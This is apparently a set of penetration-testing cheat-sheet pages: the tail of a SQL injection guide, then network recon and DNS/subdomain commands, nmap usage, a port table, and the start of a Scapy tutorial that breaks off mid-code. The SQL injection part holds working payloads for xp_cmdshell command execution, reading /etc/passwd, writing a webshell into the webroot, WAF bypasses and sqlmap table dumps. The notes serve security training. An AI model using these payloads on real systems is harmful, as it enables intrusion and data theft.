<span class="giallo-l"><span style="color: #8A9A7B;"> EXEC sp_configure '</span><span>xp_cmdshell</span><span style="color: #8A9A7B;">',1; RECONFIGURE;</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;"> EXEC xp_cmdshell '</span><span>whoami</span><span style="color: #8A9A7B;">';--</span></span></code></pre>
<ul>
<li>
<p>PostgreSQL - <code>COPY ... TO/FROM PROGRAM</code> (superuser) runs commands.</p>
</li>
<li>
<p>MySQL - no direct command exec, but <code>INTO OUTFILE</code> can write a file to the webroot (needs <code>FILE</code> priv + a writable, web-served path) to plant a webshell → RCE.</p>
</li>
</ul>
<h2 id="reading-writing-files">Reading / writing files</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="sql"><span class="giallo-l"><span style="color: #8A9A7B;">' UNION SELECT LOAD_FILE('</span><span style="color: #C4B28A;">/</span><span>etc</span><span style="color: #C4B28A;">/</span><span>passwd</span><span style="color: #8A9A7B;">'), NULL-- -- MySQL read (FILE priv)</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;">'</span><span style="color: #8992A7;"> UNION SELECT</span><span style="color: #8A9A7B;"> '<webshell payload - see 2.2>'</span><span>, </span><span style="color: #8992A7;">NULL</span></span>
<span class="giallo-l"><span style="color: #8992A7;"> INTO</span><span> OUTFILE </span><span style="color: #8A9A7B;">'/var/www/html/s.php'</span><span style="color: #737C73;">-- -- write to webroot</span></span></code></pre><h2 id="waf-filter-bypass">WAF / filter bypass</h2>
<ul>
<li>
<p>Inline comments split keywords: <code>UN/**/ION SE/**/LECT</code>; MySQL <code>/*!50000UNION*/</code></p>
</li>
<li>
<p>Case variation: <code>UnIoN SeLeCt</code></p>
</li>
<li>
<p>Encoding: URL / double-URL, hex (<code>0x61</code>='a'), <code>CHAR()</code></p>
</li>
<li>
<p>Whitespace alternatives: <code>/**/</code>, <code>%0a</code>, tabs, parentheses</p>
</li>
<li>
<p>Keyword-free logic: <code>||</code>, <code>&&</code>, <code>LIKE</code></p>
</li>
</ul>
<h2 id="automation-sqlmap">Automation - sqlmap</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">sqlmap</span><span style="color: #8A9A7B;"> -u "http://target/item?id=1" --dbs</span><span style="color: #737C73;"> # enumerate databases</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sqlmap</span><span style="color: #8A9A7B;"> -u "..." -D shop -T users --dump</span><span style="color: #737C73;"> # dump a table</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sqlmap</span><span style="color: #8A9A7B;"> -u "..." --os-shell</span><span style="color: #737C73;"> # attempt OS shell (if an RCE path exists)</span></span></code></pre>
<p>sqlmap Manual - <a rel="external" href="https://github.com/sqlmapproject/sqlmap/wiki/Usage">https://github.com/sqlmapproject/sqlmap/wiki/Usage</a></p>
<h2 id="materials">Materials</h2>
<ul>
<li>PortSwigger - SQL injection <a rel="external" href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a></li>
<li>PayloadsAllTheThings - SQL Injection <a rel="external" href="https://github.com/swisskyrepo/PayloadsAllTheThings">https://github.com/swisskyrepo/PayloadsAllTheThings</a></li>
<li>OWASP - SQL Injection <a rel="external" href="https://owasp.org/www-community/attacks/SQL_Injection">https://owasp.org/www-community/attacks/SQL_Injection</a></li>
</ul>
Network
2026-07-05T00:00:00+00:00
2026-07-05T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/network/
<pre>
+ Disclaimer -----------------------+
| The content provided is |
| for educational and informational |
| purposes only |
| I do not support |
| or encourage any illegal |
+-----------------------------------+
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">ip</span><span style="color: #8A9A7B;"> a</span><span style="color: #737C73;"> # Linux: interfaces & IP addresses (older: ifconfig)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ip</span><span style="color: #8A9A7B;"> r</span><span style="color: #737C73;"> # Linux: routing table + default gateway</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ipconfig</span><span style="color: #8A9A7B;"> /all</span><span style="color: #737C73;"> # Windows: interfaces, DNS, MAC, DHCP</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ping</span><span style="color: #8A9A7B;"> -c</span><span style="color: #A292A3;"> 4</span><span style="color: #8A9A7B;"> host</span><span style="color: #737C73;"> # is it up? round-trip time (Windows: 4 by default)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">traceroute</span><span style="color: #8A9A7B;"> host</span><span style="color: #737C73;"> # Linux: hops along the path (Windows: tracert)</span></span></code></pre><h2 id="connectivity-checks">Connectivity checks</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nc</span><span style="color: #8A9A7B;"> -vz host</span><span style="color: #A292A3;"> 445</span><span style="color: #737C73;"> # netcat: quick TCP port check</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">telnet</span><span style="color: #8A9A7B;"> host</span><span style="color: #A292A3;"> 80</span><span style="color: #737C73;"> # open = connects; closed = error</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ss</span><span style="color: #8A9A7B;"> -tlnp</span><span style="color: #737C73;"> # Linux: listening TCP sockets + process</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">netstat</span><span style="color: #8A9A7B;"> -ano</span><span style="color: #737C73;"> # Windows: connections + PID</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">Test-NetConnection</span><span style="color: #8A9A7B;"> host -Port</span><span style="color: #A292A3;"> 3389</span><span style="color: #737C73;"> # Windows/PowerShell: port + ping test</span></span></code></pre><h2 id="dns">DNS</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nslookup</span><span style="color: #8A9A7B;"> example.com</span><span style="color: #737C73;"> # non-interactive lookup</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dig</span><span style="color: #8A9A7B;"> example.com</span><span style="color: #737C73;"> # Linux, richer output</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dig</span><span style="color: #8A9A7B;"> +short example.com</span><span style="color: #737C73;"> # just the answer</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dig</span><span style="color: #8A9A7B;"> -x</span><span style="color: #A292A3;"> 1.2.3.4</span><span style="color: #737C73;"> # reverse lookup (IP → name)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">host</span><span style="color: #8A9A7B;"> example.com</span><span style="color: #737C73;"> # quick forward/reverse lookup</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dig</span><span style="color: #8A9A7B;"> axfr @ns1.example.com example.com</span><span style="color: #737C73;"> # zone transfer (if misconfigured → all records)</span></span></code></pre><h2 id="subdomain-enumeration">Subdomain enumeration</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #737C73;"># Passive</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -s "https://crt.sh/?q=%25.example.com&output=json"</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> -r '.[].name_value'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> sort</span><span style="color: #8A9A7B;"> -u</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">subfinder</span><span style="color: #8A9A7B;"> -d example.com</span><span style="color: #737C73;"> # aggregates many passive sources</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">amass</span><span style="color: #8A9A7B;"> enum -passive -d example.com</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">theHarvester</span><span style="color: #8A9A7B;"> -d example.com -b all</span><span style="color: #737C73;"> # emails, hosts, subdomains from OSINT</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Active</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">gobuster</span><span style="color: #8A9A7B;"> dns -d example.com -w subdomains.txt</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dnsx</span><span style="color: #8A9A7B;"> -l hosts.txt -silent</span><span style="color: #737C73;"> # fast resolver / filter live hosts</span></span></code></pre><h2 id="content-discovery-fuzzing-ffuf-gobuster">Content discovery / fuzzing (ffuf / gobuster)</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #737C73;"># Directory / file discovery</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">gobuster</span><span style="color: #8A9A7B;"> dir -u http://target -w /usr/share/wordlists/dirb/common.txt</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ffuf</span><span style="color: #8A9A7B;"> -u http://target/FUZZ -w wordlist.txt</span><span style="color: #737C73;"> # FUZZ = injection point</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ffuf</span><span style="color: #8A9A7B;"> -u http://target/FUZZ -w wordlist.txt -e .php,.txt -mc 200,301</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">feroxbuster</span><span style="color: #8A9A7B;"> -u http://target -w wordlist.txt</span><span style="color: #737C73;"> # recursive by default</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Virtual-host (vhost) fuzzing - same IP, different Host header</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ffuf</span><span style="color: #8A9A7B;"> -u http://target -H "Host: FUZZ.example.com" -w subdomains.txt -fs</span><span style="color: #A292A3;"> 0</span></span></code></pre>
<p><em>Fuzz twice: once unauthenticated, once with a valid session cookie - authenticated users often reach paths anonymous ones can't.</em></p>
<p><code>-mc</code> match / <code>-fc</code> filter by status code; <code>-fs</code> filter by response size (kills noise).</p>
<p>Private ranges (not routable on the internet): <code>10.0.0.0/8</code>, <code>172.16.0.0/12</code>, <code>192.168.0.0/16</code>.</p>
<p>APIPA <code>169.254.0.0/16</code> = a host that failed to get DHCP (no real network).</p>
<p>CIDR <code>/24</code> = 256 addresses (<code>.0</code>–<code>.255</code>): <code>.0</code> = network address, <code>.255</code> = broadcast, usable hosts <code>.1–.254</code>.</p>
<p>A subnet is written <code>192.168.56.0/24</code> or as a range <code>192.168.56.1-254</code>.</p>
<h2 id="materials">Materials</h2>
<ul>
<li>SecLists (wordlists) - <a rel="external" href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></li>
<li>crt.sh - certificate transparency search - <a rel="external" href="https://crt.sh">https://crt.sh</a></li>
<li>subfinder <a rel="external" href="https://github.com/projectdiscovery/subfinder">https://github.com/projectdiscovery/subfinder</a></li>
<li>amass <a rel="external" href="https://github.com/owasp-amass/amass">https://github.com/owasp-amass/amass</a></li>
<li><a href="/ai-red-teaming/notes/ports/">Ports</a></li>
<li><a href="/ai-red-teaming/notes/nmap/">nmap notes</a></li>
<li>nmap <a rel="external" href="https://nmap.org/book/man.html">https://nmap.org/book/man.html</a></li>
</ul>
nmap
2026-07-04T00:00:00+00:00
2026-07-04T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/nmap/
<pre>
+ Disclaimer -----------------------+
| The content provided is |
| for educational and informational |
| purposes only |
| I do not support |
| or encourage any illegal |
+-----------------------------------+
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sn host</span><span style="color: #737C73;"> # host discovery (ping sweep): who's up</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -F host</span><span style="color: #737C73;"> # fast scan (top 100 ports)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -p- host</span><span style="color: #737C73;"> # ALL 65535 TCP ports</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sV -sC host</span><span style="color: #737C73;"> # service/version enum + default NSE scripts</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -A -T4 -v host</span><span style="color: #737C73;"> # aggressive (intense): OS, versions, scripts, traceroute</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -T4 -F host</span><span style="color: #737C73;"> # quick scan (common ports) (ex. 192.168.56.3-5)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -p 445,3389 host</span><span style="color: #737C73;"> # specific ports across a subnet (ex. 192.168.56.0/24)</span></span></code></pre>
<ul>
<li><strong>Timing</strong>: <code>-T0</code> (slow/stealthy) … <code>-T5</code> (fast/noisy); <code>-T4</code> is typical in labs</li>
<li><strong>Subnet</strong>: <code>192.168.56.0/24</code> (whole /24) or a range <code>192.168.56.1-254</code></li>
<li><strong>Zenmap</strong> is the GUI front-end; append <code>&</code> to run it in the background</li>
</ul>
<p><code>-sV</code> turns "port 8000 open" into "vLLM 0.x on 8000" → the input for CVE lookup</p>
<p>Saving output:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sV -sC -oA scans/target host</span><span style="color: #737C73;"> # -oA = save .nmap + .gnmap + .xml at once</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> ... -oN out.txt</span><span style="color: #737C73;"> # normal human-readable output</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> ... -oG out.grep</span><span style="color: #737C73;"> # greppable - easy to pipe into grep/cut/awk</span></span></code></pre>
<p>When a host "looks dead":</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -Pn host</span><span style="color: #737C73;"> # skip host discovery, assume the host is up (target blocks ping)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -n host</span><span style="color: #737C73;"> # don't resolve DNS - faster</span></span></code></pre>
<p><em>Windows and firewalled hosts often drop ICMP, so the default discovery reports "host down" even though it's alive. -Pn forces the scan.</em></p>
<h2 id="scan-types-udp">Scan types + UDP</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sS host</span><span style="color: #737C73;"> # SYN / stealth scan (default when root)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sT host</span><span style="color: #737C73;"> # TCP connect (fallback when not root)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sU --top-ports</span><span style="color: #A292A3;"> 20</span><span style="color: #8A9A7B;"> host</span><span style="color: #737C73;"> # UDP scan (DNS/SNMP/... - slow, limit the ports)</span></span></code></pre>
<p><em>A TCP scan won't see UDP services (DNS 53, SNMP 161, etc.).</em></p>
<h2 id="nse-scripts">NSE scripts</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -sC host</span><span style="color: #737C73;"> # = --script=default</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> --script vuln host</span><span style="color: #737C73;"> # known-vulnerability checks</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> --script "smb-enum-shares,smb-os-discovery" -p</span><span style="color: #A292A3;"> 445</span><span style="color: #8A9A7B;"> host</span></span></code></pre>
<p><code>-sC</code> runs the <strong>default</strong> NSE script category; <code>--script vuln</code> / <code>--script "smb-enum-shares"</code> go deeper</p>
<h2 id="two-stage-workflow">Two-stage workflow</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #737C73;"># 1) quickly find open ports across the WHOLE range</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -p- --min-rate</span><span style="color: #A292A3;"> 10000</span><span style="color: #8A9A7B;"> -Pn host -oG all-ports.grep</span></span>
<span class="giallo-l"><span style="color: #737C73;"># 2) deep-scan only the ports you found</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nmap</span><span style="color: #8A9A7B;"> -p 22,80,445 -sV -sC -A host -oA target</span></span></code></pre>
<p><em>A full <code>-p-</code> with scripts across a subnet is slow. Sweep fast first, then run version/script scans only on the open ports. This is the standard engagement pattern.</em></p>
<h2 id="materials">Materials</h2>
<ul>
<li><a href="/ai-red-teaming/notes/ports/">Ports</a></li>
<li>nmap <a rel="external" href="https://nmap.org/book/man.html">https://nmap.org/book/man.html</a></li>
</ul>
Ports
2026-07-03T00:00:00+00:00
2026-07-03T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/ports/
<table><thead><tr><th style="text-align: center">Port</th><th>Service</th></tr></thead><tbody>
<tr><td style="text-align: center">21</td><td>FTP</td></tr>
<tr><td style="text-align: center">22</td><td>SSH</td></tr>
<tr><td style="text-align: center">25</td><td>SMTP (mail)</td></tr>
<tr><td style="text-align: center">53</td><td>DNS</td></tr>
<tr><td style="text-align: center">80 / 443</td><td>HTTP / HTTPS</td></tr>
<tr><td style="text-align: center">139 / 445</td><td>NetBIOS / <strong>SMB</strong> (Windows file sharing)</td></tr>
<tr><td style="text-align: center">8080</td><td>often alternate HTTP / proxy</td></tr>
<tr><td style="text-align: center">1433</td><td>MSSQL</td></tr>
<tr><td style="text-align: center">3306</td><td>MySQL</td></tr>
<tr><td style="text-align: center">3389</td><td>RDP (Windows remote desktop)</td></tr>
<tr><td style="text-align: center">5432</td><td>PostgreSQL</td></tr>
<tr><td style="text-align: center">6333</td><td>Qdrant</td></tr>
<tr><td style="text-align: center">8000</td><td>often a dev / inference server (<strong>vLLM</strong>, etc.)</td></tr>
</tbody></table>
<p>Port states:</p>
<ul>
<li><code>open</code> (service listening)</li>
<li><code>closed</code> (reachable, nothing there)</li>
<li><code>filtered</code> (a firewall is dropping the probe - no reply)</li>
</ul>
Packet crafting and manipulation with Scapy
2025-09-23T00:00:00+00:00
2025-09-23T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/posts/packet-crafting-and-manipulation-with-scapy/
<pre>
+ Disclaimer -----------------------+
| The content provided is |
| for educational and informational |
| purposes only |
| I do not support |
| or encourage any illegal |
+-----------------------------------+
</pre>
<p><strong>Scapy</strong> is a powerful Python library for working with network packets. It allows you to manually construct, modify, send, sniff, and analyze packets of nearly any network protocol. Thanks to its flexibility and wide range of features, Scapy is widely used by penetration testers, security researchers, and network administrators for:</p>
<ul>
<li>testing reliability and security of network infrastructure,</li>
<li>analyzing and fuzzing protocols,</li>
<li>simulating network attacks,</li>
<li>building custom tools,</li>
<li>educational purposes.</li>
</ul>
<h2 id="scapy-provides">Scapy provides:</h2>
<ul>
<li><strong>Packet creation</strong> (IP, TCP, UDP, ICMP, ARP, IPv6, DNS, DHCP, and many more),</li>
<li><strong>Modification</strong> of fields and headers,</li>
<li><strong>Sending</strong> custom packets or traffic streams,</li>
<li><strong>Sniffing</strong> to capture and analyze packets,</li>
<li><strong>Replay</strong> of saved <code>.pcap</code> traces,</li>
<li><strong>Scanning</strong> (hosts, ports, and services).</li>
</ul>
<h2 id="getting-started">Getting Started</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">from</span><span> scapy</span><span style="color: #9E9B93;">.</span><span>all</span><span style="color: #B6927B;"> import</span><span style="color: #C4B28A;"> *</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Reduce verbosity in output</span></span>
<span class="giallo-l"><span>conf</span><span style="color: #9E9B93;">.</span><span>verb</span><span style="color: #C4B28A;"> =</span><span style="color: #A292A3;"> 0</span></span></code></pre><pre>
Basic Example
-------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>pkt</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> TCP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"S"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">send</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">pkt</span><span style="color: #9E9B93;">)</span></span></code></pre>
<p>This sends a TCP SYN packet to port 80 of <code>192.168.0.1</code>.</p>
<pre>
ICMP Echo Request (Ping)
------------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>pkt</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> ICMP</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span>reply</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">pkt</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"Reply:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> reply</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">summary</span><span style="color: #9E9B93;">()</span><span style="color: #8992A7;font-weight: bold;"> if</span><span style="color: #8BA4B0;"> reply</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #8A9A7B;"> "No response"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
DNS Query
---------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>pkt</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"8.8.8.8"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> UDP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">53</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> DNS</span><span style="color: #9E9B93;">(</span><span>rd</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span> qd</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">DNSQR</span><span style="color: #9E9B93;">(</span><span>qname</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"example.com"</span><span style="color: #9E9B93;">))</span></span>
<span class="giallo-l"><span>ans</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">pkt</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">if</span><span> ans</span><span style="color: #C4B28A;"> and</span><span> ans</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">haslayer</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">DNS</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> and</span><span> ans</span><span style="color: #9E9B93;">[</span><span>DNS</span><span style="color: #9E9B93;">].</span><span>ancount</span><span style="color: #C4B28A;"> ></span><span style="color: #A292A3;"> 0</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> for</span><span> i</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8BA4B0;"> range</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">ans</span><span style="color: #9E9B93;">[</span><span style="color: #8BA4B0;">DNS</span><span style="color: #9E9B93;">].</span><span style="color: #8BA4B0;">ancount</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> rr</span><span style="color: #C4B28A;"> =</span><span> ans</span><span style="color: #9E9B93;">[</span><span>DNS</span><span style="color: #9E9B93;">].</span><span>an</span><span style="color: #9E9B93;">[</span><span>i</span><span style="color: #9E9B93;">]</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> if</span><span> rr</span><span style="color: #9E9B93;">.</span><span>type</span><span style="color: #C4B28A;"> ==</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">:</span><span style="color: #737C73;"> # A record</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"A:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> rr</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">rdata</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
TCP Three-Way Handshake (Manual)
--------------------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>dst</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "192.168.0.10"</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 80</span></span>
<span class="giallo-l"><span>sport</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> RandShort</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span>syn</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dst</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">sport</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dport</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"S"</span><span style="color: #9E9B93;">,</span><span> seq</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">RandInt</span><span style="color: #9E9B93;">())</span></span>
<span class="giallo-l"><span>synack</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">syn</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">if</span><span> synack</span><span style="color: #C4B28A;"> and</span><span> synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">getlayer</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">).</span><span>flags</span><span style="color: #C4B28A;"> &</span><span style="color: #8992A7;"> 0x</span><span style="color: #A292A3;">12</span><span style="color: #9E9B93;">:</span><span style="color: #737C73;"> # SYN+ACK</span></span>
<span class="giallo-l"><span> ack</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dst</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">sport</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dport</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"A"</span><span style="color: #9E9B93;">,</span></span>
<span class="giallo-l"><span> seq</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ack</span><span style="color: #9E9B93;">,</span><span> ack</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">seq</span><span style="color: #C4B28A;">+</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">)</span></span>
